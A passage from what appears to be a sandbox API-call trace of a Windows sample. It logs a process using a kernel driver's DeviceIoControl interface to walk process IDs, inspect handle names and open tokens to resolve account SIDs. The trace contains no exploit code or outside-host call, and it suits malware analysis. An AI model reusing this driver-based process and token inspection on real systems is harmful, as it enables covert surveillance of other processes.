ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.124] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0114.124] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.124] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.124] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.124] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.124] PsAcquireProcessExitSynchronization () returned 0x0 [0114.124] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880055905d0) [0114.124] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.124] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.124] PsReleaseProcessExitSynchronization () returned 0x2 [0114.124] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0114.124] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.124] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.124] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.125] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.125] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0114.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.125] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0114.125] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.125] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0114.125] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.125] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.125] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.125] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.125] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.126] CloseHandle (hObject=0xc8) returned 1 [0114.126] CloseHandle (hObject=0xc0) returned 1 [0114.126] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.126] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.126] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.126] PsAcquireProcessExitSynchronization () returned 0x0 [0114.126] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880055905d0) [0114.127] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0114.127] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.127] PsReleaseProcessExitSynchronization () returned 0x2 [0114.127] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0114.127] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.127] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0114.127] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.127] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.127] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.127] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.127] PsAcquireProcessExitSynchronization () returned 0x0 [0114.127] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880055905d0) [0114.127] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0114.127] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.127] PsReleaseProcessExitSynchronization () returned 0x2 [0114.127] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0114.127] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.127] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0114.127] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.127] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.127] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.127] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.127] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.127] PsAcquireProcessExitSynchronization () returned 0x0 [0114.127] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880055905d0) [0114.127] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.127] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.127] PsReleaseProcessExitSynchronization () returned 0x2 [0114.127] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0114.128] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.128] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.128] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.128] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.128] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0114.128] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.128] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0114.128] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.128] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0114.128] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.128] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.128] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.128] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.128] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.129] CloseHandle (hObject=0xc8) returned 1 [0114.129] CloseHandle (hObject=0xc0) returned 1 [0114.129] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.129] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.129] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.130] PsAcquireProcessExitSynchronization () returned 0x0 [0114.130] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880055905d0) [0114.130] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0114.130] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.130] PsReleaseProcessExitSynchronization () returned 0x2 [0114.130] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0114.130] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.130] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0114.130] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.130] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.130] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.130] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0114.130] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.130] PsAcquireProcessExitSynchronization () returned 0x0 [0114.130] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880055905d0) [0114.130] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0114.130] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.130] PsReleaseProcessExitSynchronization () returned 0x2 [0114.130] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0114.131] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.131] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0114.131] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.131] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.131] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.131] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.131] PsAcquireProcessExitSynchronization () returned 0x0 [0114.131] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880055905d0) [0114.131] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.131] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.131] PsReleaseProcessExitSynchronization () returned 0x2 [0114.131] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0114.131] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.131] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.131] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.131] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.131] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0114.131] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.131] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0114.131] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.131] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0114.131] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.131] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.131] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.131] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.131] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.133] CloseHandle (hObject=0xc8) returned 1 [0114.133] CloseHandle (hObject=0xc0) returned 1 [0114.133] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.133] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.133] PsAcquireProcessExitSynchronization () returned 0x0 [0114.133] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880055905d0) [0114.133] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0114.133] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.133] PsReleaseProcessExitSynchronization () returned 0x2 [0114.133] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0114.133] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.133] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0114.133] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.133] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.133] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.133] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0114.133] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.133] PsAcquireProcessExitSynchronization () returned 0x0 [0114.133] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880055905d0) [0114.133] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80020dd640, HandleInformation=0x0) returned 0x0 [0114.134] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.134] PsReleaseProcessExitSynchronization () returned 0x2 [0114.134] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0114.134] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.134] ObfDereferenceObject (Object=0xfffffa80020dd640) returned 0x1 [0114.134] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.134] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.134] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.134] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.134] PsAcquireProcessExitSynchronization () returned 0x0 [0114.134] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880055905d0) [0114.134] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.134] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.134] PsReleaseProcessExitSynchronization () returned 0x2 [0114.134] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0114.134] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.134] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.134] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.134] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.134] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x990) returned 0xc0 [0114.134] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.134] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800208db30, HandleInformation=0x0) returned 0x0 [0114.134] ObOpenObjectByPointer (in: Object=0xfffffa800208db30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000ba8) returned 0x0 [0114.134] ObfDereferenceObject (Object=0xfffffa800208db30) returned 0x12 [0114.134] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000ba8, DesiredAccess=0x8, TokenHandle=0xfffffa8002066b40 | out: TokenHandle=0xfffffa8002066b40*=0xc8) returned 0x0 [0114.134] ZwClose (Handle=0xffffffff80000ba8) returned 0x0 [0114.134] IofCompleteRequest (Irp=0xfffffa8002131480, PriorityBoost=0) [0114.134] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.135] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.136] CloseHandle (hObject=0xc8) returned 1 [0114.136] CloseHandle (hObject=0xc0) returned 1 [0114.136] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) 